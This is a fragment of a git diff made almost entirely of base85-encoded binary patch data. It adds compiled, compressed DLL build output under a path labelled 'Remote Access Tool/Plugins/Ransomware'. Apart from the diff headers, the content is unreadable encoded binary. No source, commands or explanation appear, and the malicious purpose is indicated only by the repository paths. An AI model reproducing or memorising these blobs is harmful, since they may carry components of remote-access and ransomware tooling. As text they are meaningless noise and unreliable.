ztQyr$kpo9E+i#<4p!Y{$LX+8A##)X2;8C}!S;nX_w7^Xa{&o?zgNj!Fx*=Y7|HT?` zv)-X!+{F=QiK)C`kw&aKRfnMoXDVBQ{wE+-#gqej-q^dp{PUMd02eUa7nugw3mW~p zP>S+^xCcYc0n{3-aZF(c5}8#JjciK|hCs^KYW8B_K!_abbx7BTyAQc7noDq4YTnu z`5`+FTcd`0b*>dvo%O@&9gQqc+la1{Rk-r}mBTfn><|%;@~zP2<_mX8v-GOkM;AQy00d1gZAk-;bap4@6RJ z4K+1^UisJ{pcloM5s>UuDqFhNs&me__L!GED%W!q8Sgus0YB|lk+C1BqADP$$Yc$a z5z4eRSKKhbJ2~2Wg9^NvkUW2)bEU63-Y0*A!{IZ_b1wKE(ldK)BIhFCjfSBpJWiK%PrO85Ge2&!|SMLEE|YviuyQJ@2Opo zX&zRRm^tL7f2>c6zSs{`kImu(n#gc8@mEtPD#<3MW}5zKADc@pO^Qv-gf$}dg6f%o z-jX5$=%27}Qol(tROkw13{KWUpw4s!;aZvoYXh? z@YS!S3dh8z0@B&@c|C*}(}kx38fo4@`0*5DqpN$-r1}A`IlGzfaQViBI%jM#5{u4oNMdJ^aiMIhMIpE1(i8BA)7xqF3DrGPc{~J>MLrbAL9RZB`NQ=KlT5 za`yK5{)A)yj~mGPI*WYqG__l95Xxv%)OEaOi}_wGG*H}@vHL`1dEe~NZTNidY=HY9 z=Me379=o6^FkZQm5GN<;048BiGc)4Pn)Nf!aJ&h3ONw8k4}?lxc7tKM~w7)vZDsOKse z$gCJi0J7!Abu{Z>{%h?M%d+%N>V3tUacbfuHS5H;yy+ z!H&#}l*xi7H+-v?nH!IOZH4-K%zQdPegl^JX12otpZ=+ax_V;8QR!^SdFsulONFQs z-owV6Su)jE1(xBrJ3>Jxb&TiVzf7@KDwf~d*GNpOsz^8}K#Uk~4H)HZLQW1hRX)b= zDbAW{9ADO)`5AN|>-w8HP+0STvZN4IQ7Eoz;xfb>7-aBqw!aN^dtpOENvoelTBg5E z#Q5-h#V77tUKzx5N!H8fydvfMrGenH@uAt|leveaub4TJ%bBn! z?$_g|*MR@VYiNxZsSb5a6a_c66&&1QK>DhFyZmWSh{TPM?9{9C_gO;c_*-}CaUK%+ z%#yd`+07=m<9W?Y7I`(B>beunn(Dgrybg&^%sy@7b((y;^qw{O_UJ|X$9L)>{o}jz zYW*Rddd!DJUbFaZyk^r;&-g!w^ju~i7SSqA*Lue99ny1{wJxCzn}WARUommFR zF(pIWq6$qhU1!zXqs>$?9|D@K!W$BfK#e^AU5UJ0@V?^5jheX8W@`6;_r`;T%Fjh9 z@KYS6TIEtcp9ll@qcK!Oep7x-+_6}kp0eqx)_L%c8E$+`YPUmSl)k=@#*w98Z|>Jl z!6e@O>s_ZV^Gnk-Pt}ce^fkQ(E5j+u&-V_A&A;g0tJ)#Id$)yucdCo3+p7slDRf>% zxCbAU{sh-%nl*)vg*X4c6>iR!`pS0PGNy!9R$Z!X^n`9j{R`Njav(^3qrke6-><*h zIl3XQ{zwp-$$zTv`n>;n7t>GEIlY*mB5@_L@O_o$0;&H(q}q0TN z_?2ifv(F2bgle-tNnZ7jiTX{B3;clbEjXyM{p784N07v6xG402J<%$(ZLVGDeOXL3 znSnQuYQvP8ozhyJt_9XDr_@DjGf0^9$e3X3@A6gKFq`p6zE>#3Qg>zSW;6L!b>Rve zzv!4RJLb_;APgEzW#kP5;oIqYJC z`dx^prrX9TT(#*Os-{Xh{A9swwQA{MnHR1oQKRh}Yj$0R4q1!F4q;a2!7vg(cS%w% zk4ZAH#pd$Juq#7+VKJzuDV4@1LP!l0q17uM?QD?aJz)E!jM`I;)g{%(=#nUu(d;G4 zl3Lp#xv}id8rt^L8M(s~vA~v^JM8_ReUX*4vh}uiO!p!(mmD*|fwVGJ)9z}B$&K-0 zRc7DOh*8OxK$>p1=8mw-DQk28ufDE2EUK;ROLun*GIV#hAR`FU(ujbxbhiSM(g*@W zmvjk8NhvuJ(jhstzyLA`e207Ad#}Fl_50(@n!V4ez1DB7y`P8SoPg{CErf(>A>1Sp zyw%T~GFGL^0Xiy4CYIs=#j6x1Z#-l#^eejWdDO#PCv5}X@EOq(+!t3FerJ=E;WA1t zyqaBM*C)MMN_DoYDY)M(H~ems37EV;5##4sMs;RfX+7`u0^oE4CY6D!d@{zbQWxMf z1vqaeI!b;>H{D#NKcu|?>UBfQe@LH|0T=L{0GJ~HXgomGIf6zlflEfbI9h8WhF8@` z%k@!I#(K&!^|$0?8<2+j!yU$qqr|mv(gu2w(9NRvEX{P%#_30mYdpK6%iry_CJ@a? zDvL2!&ME|cS{b0Tq94GIIN*dD=W0iX$yLlb;PVGZca1N};HT)mei&^5nAarVbGomo zue{z3#J?M;dWT(DR?b{dR_?7esXL}U*_@>{**sG!tGZEGwu8``B=ak1uh`(xt=Nmw zX=uDCENhTv0|vK$P;Xtp)G{2;y9B^!f+bv~YVE~%$-55(LD9DDPe2u~Xp!SkSwBh^ z#aKhhKjklTp~e?4B$jX4ema30Y7t&Wbn;Om<(uO=+@k3co5oGlgons~Q_Jm}*;TMd zHtf1hiJotcLWyA{mk{aOMM#N4)5TJaM(RY172b*Y*GN^29yf%D4_$=0lwb6*Y}_Tw zu4owdZ67EB4CT_C5I4kv4_Ud3a{87?s7p1L1Gla3h1=*NI+D6ceUyE;x;> zh3$(H0L+In^5H6XvH|KlmHF^RLWa$8?v=tA;30v0nBjld*{JT(Q7x}BP&$9n+DUm`t zOa@AT4nzq3jyY*e2%h;JN{q}->uR)uxc_*r+=UJ-CM-FmPVRU9vi@xvH71n58p+|W zMNUxtUccJkLjPIhUqK#F7=;kP!{qr;!@Dpk(JakTrZM|~^ieq=vC~}s>Tm3Sf*H2h zd7Bcs+x)-mCr7)4{`>lR_nUEi(f>Wm1B%zbaiGR;KS~Aw*S}c$e=>uF!1xs&0Af)^ z0HmEm1%HRMqx>K!2I7BBA!~`kasLe*H+gRPjSv9036%ee+)tTS05b8vmTrVdexE*5 z03Kog0(c}i*6-Z&{l&eIKQMjcb`+HLcVXZF3hp;pC`JAKinRV4TYnW0hvFaDV&p^a z`=>_NVHm&G=pQ}hj|}NTewPM@-=_hQ_wPbLM0H+X$;T#!pD>HFNGWTrSsE#&l1i_n7i)p3!0e8;_l*W_hv(ud+S*DcYlSn- z3UE78g_J`T>OJ-)a$83n01|80{4dml15guUq7&Z z{>YsCHOTt4YHPFf_@@{?oFU@6p@QRP(4PaQx*jgUE#$wn+zb?)KK-P!C2~$M>mQ|8 z&wm=$I+1LM{AD}pS&ka3;0G?g=szs5HQ7kKCbABB^dvRiie>NXKYT8~@bTZ6{zHU0 zX^!tFOMQR&`-h9Rp?}-8P5gy#Wj=fBiE=ucb;6^^sjuDnZ|wdV8&jw5pB4gs=J%h# znMn3F{IjCOU*wZlPXDiYP z%KcAF)ZIpZ4j9UO;y-D{JsbMT^_HK4-ZES`AN~)c)i2(=i~kaJldip=5uoq-M+8z| z>nt1o|8NVb!rt=p|Q-8<$50K{k$1nf{ zlfhrY!>|Tu{0B5U?|#B4fy>V!9y|GGrDKjVLyqZxgKObe;|yPa*69vBJcT3&NkS3- zYh9??z*xkV{Tku@9v+LRx9=WG@tTrupZVa~6_MK&znDPc$-g^sR|TqCpDxnvD#6Vt zN~aoDpRC|cYVw?%g}a!v0)kSXSXrd&F6}YKx<%O%rZ=AD&UFc*Q!&e1-P&6li?f6S>K z<(N!TJhuK=GC*?|5+6MdBR@1nyb;UVC$kxw>Uji@6w9P1d4N#)npX?U4I*>$y$c_! zdJ$o0#X$G+Gb~xD%8Nngn(+LP;Z{6x6pbhcLgW1QJL_J&Y+JeWZ&27TC5urGD-MD@#`@vMiE9fM?I&BLt>TD=;kSM_G#8}zSa;ked zWOb50epx)n`XXX;?V4dW@LPKG_a9uNeQ5R_c&2^xP0HsTeie_mk_mKt+t;QUf}`Uv z`Mr6L2^OZf`>zIR8#%Z$2VDZ39=Pp(X#fYMpS^P$ZrX%)?^|`;I*@hZsT&d7Pg^dO za*kgVN)!L~rEh!ax(|EuieYwRY}Ar zvNtuz8ee)o@V%Ye>6?AMpr;pUc!fcqK5y`T-@f1&4T<>96)(WBr{iFf8wdL;?sL+t ztye#N=NR)$ys5SOa>1=x0=}q!6nH{)PSe;?Yq!7Y<>a=tCEnZD-20VtRwuKn>e_NB zul$P5r}xufoNZ0Ky~Bgg!XJpVfS*fYV2pOhd+1(FG&CLQR;O;Ik5dL(4`aEdGbXu3 zU0;ZATz?}ioYT`kz|8zoDuOV5#xUn>a@k=s-#EI3xSV|>P&ngvEs$4kI){}AK?s#D z6`+G;xS@8FtcSK?PG}&R}o;AUV@Qq zkdlqMfCD~)eu4%-3bN|yTNsiJ8k~aZkwNEAN$MGrh1857qi7(sr!M^Hd}MS{7b7$B2d9jGRlU{YjHiL4{xQA%Fw8{-g%u@p7BX`4A~KTUq~P zA-n@ry-f3@(;T}1*vsWq4(h;J0W6JPPGZJwk_JgynxPtb}7!b#S55~1O&q3x6R}_ z$Pv7Nf>t@zAT$Qh0^oK4eX=_Npa5`?VoMq3C$DM-sBXsvBd`I3Q;>oxK;KzdVmqKt z`W6@=0n7rfIxpuJL@Z}PoP!hTi{^6gLkd&?JI2Z7~3D70av2K93I#LA3pztL{h-;2r2N#ECV}LF>rO4pOY+FmqrI0i^ z)sE-Ip{D4dOG#iBn{7+in`28D@JAm~Fa;>Qz6EMSVnA!d0{h}*V|0RXaJPOfSPc+AVNTlBii0n*G z^|*HsiX*2adl(fJ2r0PJV-Jm%SEXC=IGMWyhP^b<`|>9g3X57U8b6eKr8UcfVs!vA z20j#lb7*Q6dt)Fd2@f@wBU*0tC|bxdU@*}~u>f_@qxc!QjXc>s?`fDR2G}<~oghGf zZHu&q&{vwR)QBr|@fLWNjXW%~huAJ;^-8pO>p7} zX%^HbB(e|rDv?AvHI6wuRL?=PoAO&tcpP(qWAJ-ZX z>|qck^`gVvElFW~41x2%42~C_z{vc*Po~BG+T;f&*`oSB;M{ z%DpC6q9t#V52CmsVM`=lokszhV+1`}P#~7wD?Bh(xgHA_QFzkrmFjmG2zEjj1Aiif zt>##KPa5PJ3y?Akxx$JR!b4GIG6-h_xp0J{|GB`t7+K0J^f;Eu;U zsj8PkzQj4?hEV`HKV*a72YA2Z!#Qt6a1p|qV^uw8xn@AEMR?QtD@q{^X5QQ(Moirh zY(&!yp+=lR3YvQ3A=f0y@VM{%LZ2AQMRAXcp~On$96|VdK&sXSp%p+7{mFglfk5Ph znciYT9^CBmJV)k=2G(?*rx_HY(AElj#VgN?L=>?;2ow-7jSUyj9K$}RhJ!W7IDm&6 zv$Abbo}l6K)f`jRx+i~t1j^#VgK5jD z?pTqyi?Z2DjUXc5|w0*%48Wt%lpF43?=8BT3z6R?}9?T59KCF>+Vg3STeUPrW}05aoHuh7U& zSM)#12KY~1Zr+IXW5CRNVgwFAq%Z?`0VGz1UJ2Zg@GE=Gv4A6LSXF4^e%h2m5FVgn zN?sNdz{yT712O<1JfLVIJCE|0?;I%`v||CTYRCoADAA^h%3pH>I%M%KO#p~5;$BJv z!F`X0zyJ{Uo(zEn6yhTKB{L8K=ZHXTK(AM@#-OCdIU^u+5PHRWBZPNJazjuq1p)3r zA_Ub9!2)UqAZQ5j8xY(@66|urWyhcD+^ZngfIo-POFC?-fee$B93>|PF5XK3#q*Y@Wa-^68YS$UnooZt=U_KwJ4|L%^Cz$=s?LSLrl?k>3 zjPBqDNJpwoM=AuN0%7lg$lmB-f%gN&Wr_Tw0BC3|nq$Q=ZO|NaqKH^_SSE1e4q56SUVmd^CZ_91Gpsxrvqw(A8*lisPiZdQqUT6Kld6N2pCVql@#EPG1es-5GpaC zc-XcE`*fjZNC{Xp`ie_HR}!fVX=eab8RN*98)FPk$*U4jPbpsGv28J~qQh>^Y$7t) zCdicWO!4bI&=vM6fpH&=zF@0AlDKKQAn&2BG&T zWt051G~1TyswXVy7D(D^9_cb3@Y4nO;|9=wS9xGL!I5o!3sBjcT%E~X-<;Z3qs?c& z6LXCMO`uO7l5?Z<0+Mr+#WTf@TTB=t^ud8d07RrPFNxW<()tvkyg+&PbwjIwO}Fn3 zv?>H3O%O9+CyrIgT>>_d*aNu^G%%v!kP_~EQvnyy4wQsT>UhPZRhOq8&aUx9}k%W4s5it;n@UW!{zVna0Q@|uWmx4<(_oJ*+9~QKL*l` zD)6EuTuNkznWBRY_r2+*W)G3MfKxmt9j`(aGRQ*$C@l2k`q@JPcM2fUhuCnJ8!N)F zh8yAm^SB{+urnYGaZNhA9>A&3l(1&%@Xwv8e~#ny#y2mWUEs(;_aS5&hv`%T7q$mT z*_h7LHou}D4$ zdl35ZIbE@$4X`D~3Ff-p7O?1_fnLZz`G8O1-T5`#>gEvFjS|4lwk6R205&MEsxS5) zsvnw&9ft%9yPa2KiHYDK{5<_NqMcev$ny~bW*ZXyJrZ6 zY&pL7FA?wCzm*Kqgwn>?xFx8QK69R{ef|CuE#))k%EoE6wnGD+Y_PJRV8ZYTonx+v z_SUqVNXrY~y5=9J+M>>dL~xgFJ$Ow@sG`v)y5Wt+haG;$joKEHDTBphBRV2YKK(@% zbDyNCV%3$KoabDrv-p##2U&;eo)%}$hgF(GcUUy|*0!nO=oiv$)#qW~sa?;Njl;rP zyZ3|p$+SE>MmJqJ$-cdlUNj*jvF4H5-79>1QZaCupBjSZOG}H}dZ`GjObfrv&z2Jt zBc?rt2(5$#h%IA1_Oj3@Y+;4<^Mrpu$zG5S)V~$5d-?)p-{jdRLDJJVn=TQ}`b`~E z+QNI=SW`6fU4i=M1~ijT^FA<4)8V%uq=blj0>e?RWDXz^i0}_>R}YsUOOrH>cz3!z zdV~8nsgHD`+Op*}N(_6Z(G*%xb1*I?yRX{Y<*P;&Wjd<*?%;;lv*LTa>)UX9!I$W8 zwCeYfU}~bvJ{O~4X>Jt@k{hAmeS?N;EZq0<+m}58cr9bF z%QL(PWn_9Dy@h;6XTsG;x1FwpR*Y&IE8PG*v_~x$CX5UHn%-$sf&&tf<7+2-%xWpG z`iqk@xVMdB6+2`JUE`mB=&sb19YxcJ?wyR8b4ZYDJa`w*Xws!Qy-p8pJ+q{Kt|Bch z&#O#=A_DQ9*}{6^*VcvPibp`;yTBteMzo8gA}MBI)8N>aZDQKQI#1K7iO!)XjLUX_ zU;g2364c1Peni1}LGKQuuq^r{B}dMDC8JEyt@g>GUO6^a<1m=O+CBsP`?5-o{S!XY z{j+zz(nwY=@nwR!$r+(A(UKqdon|1maIA)`M&&)$+)(QPWMPVCT8KbQ&EW7&4wk!4CnKybx z?Y6Pshjn=kvwP*iUN#*d6@L_&6S_B_Hik-_s&d}mr=y^M^6d5+L!*MBrmB6!o$iKK z?ZWL5%@vccMh71&_s>rA%=Di@`pK&C+m>VvYf8?EaT($GU$?Q(V&Eq}yVmJ3`RU`` zJa4*Ne1z8|`hy~Scfxw{o#l@ZBQ=lvU$IUcL=*}vMYynP);07!*UslgXnr49yU%^E z8=-I)*Q5M9T|uCJwe0&rVKHRswS$w>J-xW_W&c;ana2JDwAe?nU5Wduf{jg66mO~U z?IXKQhYrk#Aro^Iw{wx5_+sX;KimzLu65#S)E{`>I*7^S6>D{C%H8o1fogA_hRL(r zyW73XFV5ef@rOFOui|W3zO;!@ImvxmsN7sd5OJT8*RyDU6Twqv1@eB;@L3vmSKr?V zhvVyUL_MWT^PV5h5BzhNkZ1UvWZSQHDtu2dq@)9bN(4AvILnON-jyjU>=t`b>~D7a zFBl}f_f5TMD;r;Mcaou>lk}F^i)T5q7E@ys1TXS0zo&(eU{XhK3!?)hk0)kR<-Irc|n`mG)}$zR973Oa|wQ+kK29}av;dB-D>)M;{e%D`~u*cPO2@{qkG!$BrfB*{~^pg}Oq)+Mj3rm@OmbfdS2a?5f-edFsUY9dnj^ZN0kyyMVQb^OTPJ z590Bx3~>INhN!Ow0nJlVJ%se-4JFx@rB8^%oK8%*OI!E_EoOxqPhXEq9v|{cpuC)W z`=#nWQ?-T|x2IB3C9G{mHEE znMuTRVb?hcv%2!PBqFVO0<*xEuTIP71+VWd*K6EOiUppv_qGbcC@A{cZmnH>^+D|G zSby6mbR#`y{UjSoVH|MMAuBCE8lAgmDyuJH*}%+>P+VVfyEPxTe%p zNvtfaTRh!S1Jp;YUt%I$iIq-5+27}p${EXQzp zbGNTg`hfKLp^G4i(zL{GINnat$|oeXkv@;lC=nHdBK6xo(6q=0LNM;R&d6pF+F^B( zZ2MSyJ}YYd0vf~ORm<3+BqYI1@KED{Y>ae{t$7R!i`HvzC)ctN!IwXjqzN=L8+|OEQCXH+wEXb^_P~6n4HnLH~1z+om&+npdv`&=PqfV*xjk4y- zqj;P=G5N$Vw(tzI_FSpb1uYIr`=B=|wyZ9xRBa^7S?9%@N!rSuV*mVD0?R4EnlAng zK{0jl1>ns9K-{NFRmVTd*!Hoq&`h_@Xg8hq(CG9K=o9f3Yl)91(XQrZn8>C_-6e^r z${stfV0}F}L|ddvt+?>iZc|I_=(+FM%(5QY{VC(q*tvrInO&i=28UI*Ee#1dg%uFET`$n=IX;<>ATyK_Z4K4e5`I~3sy0b&Y?~6l?2cb*G|nN(Ai<~zGdtBBS#eXM|I zufnx18Z-k+?|q=D`)1wtNe)}#EMf0cKZ*FDkp1WzgVDtrk@7DRz1EM2^n8aiXCx9% zX**N8-Q+f>`6lmiF>`|EHo>f`4Z@0_r(dsfV{NqU=4;PrX7l*WUeIqZDCe@Rx!{~g;CQ-|L=9fg!)kapHrmgzBYOGltzi!~ zw@gY7b?-AK8PpSnxM~r5^WL*+vX|SOcGd}P(HVJV6+EcTjYS_DQVJoJ733~+(W}ay zSY|C`!=n7H9$y-D(jrK6GHz=SpAm`K%8u_2D-}Q7)$>ZGt`q*S@P+oFa4xA6%RF-j zYdP6c_}j3Yg<_e=-RGzDOWXcmQBPFrlAhBmuIgl#+%phdb+mRk1L@> zCUPS&E4WtM7jM|~k=CO#{fdiny|+0hD3<eeUpvN|@c^6HzbXjA2g6igZ^;anpYDmkHh1Gy>o_mF>H3>Wy(I z84agXVe_5Y(lOHBuzaKdx{+FI8pHE_y|XpBrNwP^iJiC3#5wDVXCq2>@z`h{$`{~9 z%kWCtvY=%M@1&x`47y0Gw%fcfi2|ani&S~3LuI{lGL1PhZzkQ8M_WSJkvHp8%IlBi zr`ag{f+jP5!zB2UcqPe1^%MSDT2;upr@P|8dVe&F`_3U;|NH;b0G`-EEpZ{I2v z$dMR3eqKnHBw)Opi7YGhSrnDKhB_;%=;gtgg|wG#iC1R!iX9qpeCh3XvXva}F*;Ol zIZnQDTYaHK8-B_X{(R}^{f2Ff$E^l(_h>;e`lby1>=D>U9rhPmcWh58j%1Eb59dF! zQ><(UwUwrxBz}@{a1beZpnj5?$as;ZZr8ZFEud$Ctcy7(T)3ak64b2gTDrLR4Rgk7 zhq*{VnBAn2<@KPR6T=})iMV{qo9li`q2NsUTA%ZLONEWbqz+W%34t)JtBH3KWw_3) zM0{P@-j7PHswK~v(Ym)3rYU(NM|>y~hCKG_4uPFk>UI?;nXR*%MqhSXCA8UW%Say5 zU{!=qCbsxJers%LN#%$c(=T!$=BQFtYAwl2apEYEJci}~L3=>o0cLs-1y}FNq>a22 zSv}LvZq4b{%XQctnK3thk0-kX_q9j#j-DIdorDP!+9RlX&NoGevaCl-J#VX|*S0bn z#44L&l~=`g{U~?bO(#Gn{v&$Cs25wtAk`AeqT-c()S?W0as*a#%2WwbofB_kFLl5X zzEQVn^OF*U!ZGD7@)Vq{qn^vr#HS=Fw8vd0hqhG>QXp7-R@B=^*a%DI&te4 z#Ms5~CXa5-RbxTxwb$TH>oO{j;ev7O{Hl%$N#uUQ!L`OEqc6hpr|(%`NWQbu5yd(| zG{o246^Sh%;D_lK35Rc^;0<^;gRtmCmZX>a=U9BwDK3%bM+K zSnofPaxCqpWTEM-s8J**uE+j7vaO(Zt5P}H_YGsdx?L>db#?;zl_qbt^XT`eHt zva%vdy%hY&6lTj)tU4~~H_QfT!bEVT(TR%*s2Id_a<1{A4Eq-N(Sfc0{F_Rr)UwZ~ zu{FLQ?4v#FOI%8{3a_V-2O|a+C$5n-o!zX?Tv_Nf%U$OTD9pDv&z?;9xV#*b)F#=&3*3XGlEAfnXs`8_gzXbDF2Wn|s{#VL0vH}^RcxC+ewOchf6x07 z0T#Ybg@rVy*hED{$`8@+%J)Hd_;13A9e7F{)r<%SR4r5hQwf zx&gwEL59NUfh(drCy{|yqH}M@V>2i~db1DhYv?t;h?WX|qZ!E|F`uzaXCVrL$GJ`7v#56~WXh{i z+_Yx+nNPU;{>H$QJi(r8g0$4!PCcZ+RSQd zM`k>ClBaDRe<2}k1800x8c%AeNf9`?TfFj;Y78e!$9Kadt$ZP6{eGhnuv;HJ7`c7i zFC15&a$viWzONMFG_N@PbZqPgb0p^;s$clq*PR|;q8Vjyjf~ELCmxxx-BIl!dya{x zUe9)q1@!IZ!?>16a?ghhR%~~*%b1_e2ZWxua)2W)+2(!Y@&_kGKNHI1u^5Dr zEx#{*=*V_G!xQx%s@thT$hw|)U`64Xx$X%lOC{?rkfoL9HjM82_+l5W#egqz-W zPe92=+eX{I&hFuNHtIY`hL?zVBze48OG%wAlJLv858M^oVc>1H`EWd+R=sl0N#pv) zrUo$yNzW$FT_-*MgUt$83I+i}Ssed5v%0*;8Mh_$g_}Oc`S-Vz z6VqKtV2`@i)Tz>$_scBqMLU`hW1Ml3N+isG8nhFFrx_c2qj+|mHhn&Dbw@fl;`S9> z>ZQBQTu-I|G5~}AtGPnH9vhni#afkuiY%i0`a|14k9%7dQ1CBW2!5&wa zdILtiDBV15+BDwYvS$Sp-6p}r*D_ky(Ff#hDWSfyl zDkRtKUx4HBNWEjlS20g!U8ROhU4|PHmg-U}X>iR5jmwa)*fpq6HZRi*!9;)Q?OgC0qUu~q1 z6}3EF{DDIR^>iY!sZTI>gEo2sq%y6IvGvXWfxcR_eSyKnD;8mC|(|%o(?3? zy6eQRLGoRhG3cZ`?acYR2yJHX?Uj>Rl-?cH7}Abd{@$HLtUoQG=3+_Lz*z&arPFYH zh6{60xXUS{HA9dM1>)QY}fZ92%$YviMn*#LE>Mc-Bj-V)OJW%MY$!iBG*~ydP))o=x`53jY%<`qqbPuPq2H-5jil4o;u16wmk2obyjz_4kia}R7*F;j7gDWhIlcIMrl`S!r`9xKHC0<#?GklSg3m$R4d?SDS-TA}z<%#PEgQe`4 zMJPOL#1(Vd0ugwmVeEaJFT=V=m$P`grN^SQhF3 E0G8(1k^lez literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..e3d87839e89a1b66bee42c3ca56b785a4d55fe6f GIT binary patch literal 31379 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 